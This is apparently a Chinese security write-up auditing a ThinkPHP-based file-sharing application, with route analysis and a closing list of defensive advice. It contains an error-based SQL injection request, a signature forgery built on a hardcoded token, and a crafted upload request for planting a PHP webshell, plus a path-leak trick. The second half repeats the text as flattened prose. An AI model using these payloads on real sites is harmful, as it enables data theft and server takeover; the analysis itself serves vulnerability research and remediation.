记一次0.5day分析
字数 1080 2025-08-06 00:52:37

ThinkPHP框架安全漏洞分析与利用教学文档

1. 路由分析

1.1 路由识别

  • 应用目录通常在application
  • 通过抓取登录(/user/login/)、注册或进入后的接口判断对应代码
  • 示例中/user/login/对应index目录下的User.phplogin方法

1.2 路由定义问题

  • /route/route.php中发现对index模块进行了特殊定义
  • 访问/s:code会访问index/share方法
  • :code作为占位符绑定参数,无法直接注入

2. SQL注入漏洞分析

2.1 漏洞位置

  • 位于后台index模块的file文件的list()方法
  • 可控参数:folder.idsearch

2.2 漏洞成因

  1. 代码使用fetchSql(true)获取SQL语句但不执行
  2. 未执行的SQL语句中的特殊字符(如')未被转义
  3. 通过UNION拼接SQL语句时产生注入

2.3 关键代码分析

$ttt = db('stores')
    ->where(['parent_folder'=>$folder_id])
    ->where('origin_name','like','%'.$search.'%')
    ->field('id,uid,shares_id,origin_name as name,ext,size,count_down,count_open,update_time')
    ->select();

2.4 漏洞利用

  • 构造恶意请求:
GET /file/list?folder_id=1-updatexml(1,concat(0x7e,database(),0x7e),1)&search=&page=&rows= HTTP/1.1
  • 通过报错注入获取数据库信息

3. 文件上传漏洞分析

3.1 漏洞位置

  • public/server/index.php中的文件上传功能
  • 使用move_uploaded_file函数

3.2 签名验证机制

  1. 需要两个参数:$command$sign
  2. 验证流程:
    • 传入的HTTP参数数组的hash == 传入的sign
    • sign不作为$params传参
    • GET传参与token拼接后进行MD5,结果需与$sign相同

3.3 签名绕过

  • 配置文件中的token为固定值:asdasfasfasfasfasfa
  • 签名生成示例:
echo md5("md=upload&uid=1asdasfasfasfasfasfa");

3.4 文件上传利用

  1. 构造请求:
POST /server/index.php/start?md=upload&uid=1&sign=e8766abd8742eb67a2c07b089ecf636a HTTP/1.1
  1. 上传恶意文件(如PHP webshell)

3.5 文件路径获取

  • 通过upload_notify功能获取上传路径
  • 构造请求触发通知:
echo md5("md=upload&notify=http://127.0.0.1:8877/&uid=1asdasfasfasfasfasfa");
  • 服务器会向通知地址发送包含文件路径的$info

4. 防御建议

4.1 SQL注入防御

  • 避免使用fetchSql(true)获取未处理的SQL语句
  • 对所有用户输入进行严格的过滤和转义
  • 使用参数绑定而非直接拼接SQL

4.2 文件上传防御

  • 使用更复杂的签名机制,避免固定token
  • 限制上传文件类型
  • 对上传文件进行重命名
  • 禁用危险的文件执行权限

5. 总结

  1. 审计过程中需要仔细跟踪代码执行流程
  2. 框架特性(如fetchSql)可能引入安全隐患
  3. 签名验证机制需要全面考虑所有可能的绕过方式
  4. 多调试、多测试是发现漏洞的关键
ThinkPHP框架安全漏洞分析与利用教学文档 1. 路由分析 1.1 路由识别 应用目录通常在 application 下 通过抓取登录( /user/login/ )、注册或进入后的接口判断对应代码 示例中 /user/login/ 对应 index 目录下的 User.php 的 login 方法 1.2 路由定义问题 在 /route/route.php 中发现对 index 模块进行了特殊定义 访问 /s:code 会访问 index/share 方法 :code 作为占位符绑定参数,无法直接注入 2. SQL注入漏洞分析 2.1 漏洞位置 位于后台 index 模块的 file 文件的 list() 方法 可控参数: folder.id 、 search 2.2 漏洞成因 代码使用 fetchSql(true) 获取SQL语句但不执行 未执行的SQL语句中的特殊字符(如 ' )未被转义 通过 UNION 拼接SQL语句时产生注入 2.3 关键代码分析 2.4 漏洞利用 构造恶意请求: 通过报错注入获取数据库信息 3. 文件上传漏洞分析 3.1 漏洞位置 public/server/index.php 中的文件上传功能 使用 move_uploaded_file 函数 3.2 签名验证机制 需要两个参数: $command 和 $sign 验证流程: 传入的HTTP参数数组的hash == 传入的 sign sign 不作为 $params 传参 GET传参与 token 拼接后进行MD5,结果需与 $sign 相同 3.3 签名绕过 配置文件中的 token 为固定值: asdasfasfasfasfasfa 签名生成示例: 3.4 文件上传利用 构造请求: 上传恶意文件(如PHP webshell) 3.5 文件路径获取 通过 upload_notify 功能获取上传路径 构造请求触发通知: 服务器会向通知地址发送包含文件路径的 $info 4. 防御建议 4.1 SQL注入防御 避免使用 fetchSql(true) 获取未处理的SQL语句 对所有用户输入进行严格的过滤和转义 使用参数绑定而非直接拼接SQL 4.2 文件上传防御 使用更复杂的签名机制,避免固定token 限制上传文件类型 对上传文件进行重命名 禁用危险的文件执行权限 5. 总结 审计过程中需要仔细跟踪代码执行流程 框架特性(如 fetchSql )可能引入安全隐患 签名验证机制需要全面考虑所有可能的绕过方式 多调试、多测试是发现漏洞的关键